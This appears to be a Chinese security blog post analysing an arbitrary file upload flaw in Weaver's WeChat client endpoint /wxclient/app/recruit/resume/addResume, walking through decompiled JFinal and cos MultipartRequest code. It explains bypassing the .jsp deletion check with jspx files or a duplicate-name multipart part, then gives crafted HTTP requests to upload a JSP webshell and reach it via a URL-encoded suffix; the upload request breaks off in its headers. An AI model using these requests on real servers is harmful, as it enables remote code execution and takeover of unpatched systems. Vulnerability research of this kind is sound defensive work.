漏洞分析 无意间发现泛微官网做了紧急安全更新https://www.weaver.com.cn/cs/security/edm20240725_kdielfrovkewpiiuyrtewtw.html
比较好的是官网公告中给出了实际利用的地址:/wxclient/app/recruit/resume/addResume?fileElementld=aaa
因此我们直接进入代码看看逻辑即可
经过简单的搜索发现,对应处理类在weaver.weixin.app.recruit.controller.ResumeController#addResume
逻辑非常简单,只需要关注第一个if所在片段即可,因为后面的处理逻辑主要与数据库操作有关
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 @ActionKey("/wxclient/app/recruit/resume/addResume") @Before({Tx.class}) public void addResume () throws Exception { try { WxBaseFile wbFile = null ; if (this .getContentType().toLowerCase().startsWith("multipart/form-data" )) { wbFile = this .getWxBaseFile(this .wxBaseFileService, this .getPara("fileElementId" ), (String)null , 2097152 , (String)null ); } ResumeModel model = (ResumeModel)this .getModel(ResumeModel.class, "resume" ); if (wbFile != null ) { model.set("accessory" , wbFile.getId()); } if (this .resumeService.addResume(model, this .getPara("sysagentid" ))) { this .renderJsonMsgForIE("提交成功" , true ); } else { this .renderJsonMsgForIE("提交失败" , false ); } } catch (Exception var3) { if (var3.getMessage().indexOf("2097152" ) != -1 ) { this .renderJsonMsgForIE("上传文件大小不能超过2M" , false ); } else { this .log.error(var3.getMessage(), var3); this .renderJsonMsgForIE("程序异常,请联系管理员!" , false ); } throw var3; } }
对应在weaver.weixin.core.controller.BaseController#getWxBaseFile(weaver.weixin.base.service.WxBaseFileService, String, String, int, String),由于传入的参数中filePath与fileEncoding为空,所以会分别调用FileUploadTools的不同方法,编码比较简单就是UTF-8,我们主要看文件路径处理部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public WxBaseFile getWxBaseFile (WxBaseFileService wxBaseFileService, String parameterName, String filePath, int fileMaxSize, String fileEncoding) throws Exception { String _filePath = StrKit.isBlank(filePath) ? FileUploadTools.getRandomFilePath() : filePath; int _fileMaxSize = fileMaxSize == -1 ? FileUploadTools.getMaxSize() : fileMaxSize; String _fileEncoding = StrKit.isBlank(fileEncoding) ? FileUploadTools.getEncoding() : fileEncoding; UploadFile uf = null ; try { uf = this .getFile(parameterName, _filePath, _fileMaxSize, _fileEncoding); } catch (Exception var11) { this .getFile(); throw var11; } return this .parseUploadFile(wxBaseFileService, uf); }
从以下逻辑中我们不难推断出文件上传的路径为/upload/年月/两个随机字符/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 private static SimpleDateFormat sdf = new SimpleDateFormat("yyyyMM" );public static String getRandomFilePath () { return initFilePath(); } public static String initFilePath () { StringBuffer sb = new StringBuffer(); if (GCONST.getFileRootPath() != null && !"" .equals(GCONST.getFileRootPath())) { sb.append(GCONST.getFileRootPath()); } else { sb.append(PathKit.getWebRootPath() + File.separator + "upload" ); } sb.append(File.separator + sdf.format(new Date())); sb.append(File.separator + getUpEng()); return sb.toString(); } public static String getUpEng () { Random r = new Random(); char c = (char )(r.nextInt(26 ) + 65 ); char b = (char )(r.nextInt(26 ) + 65 ); return String.valueOf(c) + String.valueOf(b); }
回到weaver.weixin.core.controller.BaseController#getWxBaseFile(weaver.weixin.base.service.WxBaseFileService, String, String, int, String)
我们重点是查看try-catch分支的代码
1 2 3 4 5 6 try { uf = this .getFile(parameterName, _filePath, _fileMaxSize, _fileEncoding); } catch (Exception var11) { this .getFile(); throw var11; }
跟进com.jfinal.core.Controller#getFile(java.lang.String, java.lang.String, java.lang.Integer, java.lang.String),在第一行getFiles的调用中可以看到先是初始化了一个MultipartRequest对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 public UploadFile getFile (String parameterName, String saveDirectory, Integer maxPostSize, String encoding) { this .getFiles(saveDirectory, maxPostSize, encoding); return this .getFile(parameterName); } public List<UploadFile> getFiles (String saveDirectory, Integer maxPostSize, String encoding) { if (!(this .request instanceof MultipartRequest)) { this .request = new MultipartRequest(this .request, saveDirectory, maxPostSize, encoding); } return ((MultipartRequest)this .request).getFiles(); } public UploadFile getFile (String parameterName) { List<UploadFile> uploadFiles = this .getFiles(); Iterator var4 = uploadFiles.iterator(); while (var4.hasNext()) { UploadFile uploadFile = (UploadFile)var4.next(); if (uploadFile.getParameterName().equals(parameterName)) { return uploadFile; } } return null ; }
同样的在初始化过程中,我们主要可以看它通过wrapMultipartRequest包装了我们的请求
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 public MultipartRequest (HttpServletRequest request, String saveDirectory, int maxPostSize, String encoding) { super (request); this .wrapMultipartRequest(request, saveDirectory, maxPostSize, encoding); } public MultipartRequest (HttpServletRequest request, String saveDirectory, int maxPostSize) { super (request); this .wrapMultipartRequest(request, saveDirectory, maxPostSize, encoding); } public MultipartRequest (HttpServletRequest request, String saveDirectory) { super (request); this .wrapMultipartRequest(request, saveDirectory, maxPostSize, encoding); } public MultipartRequest (HttpServletRequest request) { super (request); this .wrapMultipartRequest(request, saveDirectory, maxPostSize, encoding); } private void wrapMultipartRequest (HttpServletRequest request, String saveDirectory, int maxPostSize, String encoding) { if (!isMultipartSupported) { throw new RuntimeException("Oreilly cos.jar is not found, Multipart post can not be supported." ); } else { saveDirectory = this .handleSaveDirectory(saveDirectory); File dir = new File(saveDirectory); if (!dir.exists() && !dir.mkdirs()) { throw new RuntimeException("Directory " + saveDirectory + " not exists and can not create directory." ); } else { this .uploadFiles = new ArrayList(); try { this .multipartRequest = new com.oreilly.servlet.MultipartRequest(request, saveDirectory, maxPostSize, encoding, fileRenamePolicy); Enumeration files = this .multipartRequest.getFileNames(); while (files.hasMoreElements()) { String name = (String)files.nextElement(); String filesystemName = this .multipartRequest.getFilesystemName(name); if (filesystemName != null ) { String originalFileName = this .multipartRequest.getOriginalFileName(name); String contentType = this .multipartRequest.getContentType(name); UploadFile uploadFile = new UploadFile(name, saveDirectory, filesystemName, originalFileName, contentType); if (this .isSafeFile(uploadFile)) { this .uploadFiles.add(uploadFile); } } } } catch (IOException var12) { throw new RuntimeException(var12); } } } }
在以上函数中我们主要关注com.oreilly.servlet.MultipartRequest#MultipartRequest(HttpServletRequest, String, int, String, com.oreilly.servlet.multipart.FileRenamePolicy)与isSafeFile两个部分
首先看isSafeFile,如果文件以jsp结尾那么会被删除
1 2 3 4 5 6 7 8 private boolean isSafeFile (UploadFile uploadFile) { if (uploadFile.getFileName().toLowerCase().endsWith(".jsp" )) { uploadFile.getFile().delete(); return false ; } else { return true ; } }
另一方面我们再来看,这里完成了我们文件的写入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 public MultipartRequest (HttpServletRequest request, String saveDirectory, int maxPostSize, String encoding, FileRenamePolicy policy) throws IOException { this .parameters = new Hashtable(); this .files = new Hashtable(); if (request == null ) { throw new IllegalArgumentException("request cannot be null" ); } else if (saveDirectory == null ) { throw new IllegalArgumentException("saveDirectory cannot be null" ); } else if (maxPostSize <= 0 ) { throw new IllegalArgumentException("maxPostSize must be positive" ); } else { File dir = new File(saveDirectory); if (!dir.isDirectory()) { throw new IllegalArgumentException("Not a directory: " + saveDirectory); } else if (!dir.canWrite()) { throw new IllegalArgumentException("Not writable: " + saveDirectory); } else { MultipartParser parser = new MultipartParser(request, maxPostSize, true , true , encoding); Vector existingValues; if (request.getQueryString() != null ) { Hashtable queryParameters = HttpUtils.parseQueryString(request.getQueryString()); Enumeration queryParameterNames = queryParameters.keys(); while (queryParameterNames.hasMoreElements()) { Object paramName = queryParameterNames.nextElement(); String[] values = (String[])((String[])queryParameters.get(paramName)); existingValues = new Vector(); for (int i = 0 ; i < values.length; ++i) { existingValues.add(values[i]); } this .parameters.put(paramName, existingValues); } } Part part; while ((part = parser.readNextPart()) != null ) { String name = part.getName(); if (name == null ) { throw new IOException("Malformed input: parameter name missing (known Opera 7 bug)" ); } String fileName; if (part.isParam()) { ParamPart paramPart = (ParamPart)part; fileName = paramPart.getStringValue(); existingValues = (Vector)this .parameters.get(name); if (existingValues == null ) { existingValues = new Vector(); this .parameters.put(name, existingValues); } existingValues.addElement(fileName); } else if (part.isFile()) { FilePart filePart = (FilePart)part; fileName = filePart.getFileName(); if (fileName != null ) { filePart.setRenamePolicy(policy); filePart.writeTo(dir); this .files.put(name, new UploadedFile(dir.toString(), filePart.getFileName(), fileName, filePart.getContentType())); } else { this .files.put(name, new UploadedFile((String)null , (String)null , (String)null , (String)null )); } } } } } }
Bypass JFinal WebShell落地限制 那么在这里我们便不难想到,既然限制以jsp为结尾,但没限制jspx,因此我们可以上传jspx,当然就算不用jspx也不是没有办法,毕竟我们文件会先落地,然后程序逻辑再判断是否文件jsp结尾做删除,我们也完全可以打一个时间差做条件竞争访问,当然这里还需要我们爆破路径名,因此这不是最优解,最优解还是上传一个jspx文件,当然在高版本的JFinal中也限制了jspx的写入
那么如果我们就是想上传一个jsp文件怎么办呢?依靠条件竞争在这个场景下显然不可能,而且也很麻烦
在这个过程中,我们要清楚,首先是在初始化的时候完成了文件的写入,之后才遍历files去删除,而这个被遍历的files属性来源于com.oreilly.servlet.MultipartRequest这里是存在一个逻辑漏洞问题,那就是在调用this.files.put(name, new UploadedFile(dir.toString(), filePart.getFileName(), fileName, filePart.getContentType()));时,代码逻辑并没有先判断files里面是否已存在name,因此我们完全可以在后面再传一个同名的非webshell后缀完成变量的替换
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 this .multipartRequest = new com.oreilly.servlet.MultipartRequest(request, saveDirectory, maxPostSize, encoding, fileRenamePolicy);Enumeration files = this .multipartRequest.getFileNames(); while (files.hasMoreElements()) { String name = (String)files.nextElement(); String filesystemName = this .multipartRequest.getFilesystemName(name); if (filesystemName != null ) { String originalFileName = this .multipartRequest.getOriginalFileName(name); String contentType = this .multipartRequest.getContentType(name); UploadFile uploadFile = new UploadFile(name, saveDirectory, filesystemName, originalFileName, contentType); if (this .isSafeFile(uploadFile)) { this .uploadFiles.add(uploadFile); } } } public MultipartRequest (HttpServletRequest request, String saveDirectory, int maxPostSize, String encoding, FileRenamePolicy policy) throws IOException {xxxxxx省略垃圾代码xxxxxx } else if (part.isFile()) { FilePart filePart = (FilePart)part; fileName = filePart.getFileName(); if (fileName != null ) { filePart.setRenamePolicy(policy); filePart.writeTo(dir); this .files.put(name, new UploadedFile(dir.toString(), filePart.getFileName(), fileName, filePart.getContentType())); } else { this .files.put(name, new UploadedFile((String)null , (String)null , (String)null , (String)null )); } } } } } }
因此很容易构造出如下Payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 POST /wxclient/app/recruit/resume/addResume?fileElementId=aaa HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0 ; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0 .0 .0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept: text/html,application/xhtml+xml,application/xml;q=0.9 ,image/avif,image/webp,image/apng,*
当然在这时候你又会发现访问的时候,发现对于.jsp/.jspx的文件无法访问,其实这又是jfinal的一个安全机制
Bypass JFinal WebShell访问限制 在后面找到了其他师傅的文章,解决了这一问题,具体可看看这篇文章https://forum.butian.net/share/1899
借助这篇文章里提到的内容我们很容易通过编码jsp的后缀达到访问webshell文件的效果
之后访问如下路径获得webshell
1 2 3 4 5 6 7 8 9 POST /upload/202407/GL/y4tacker.%6a%73%70 HTTP/1.1 Host : User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Connection : closeContent-Type : application/x-www-form-urlencodedContent-Length : 39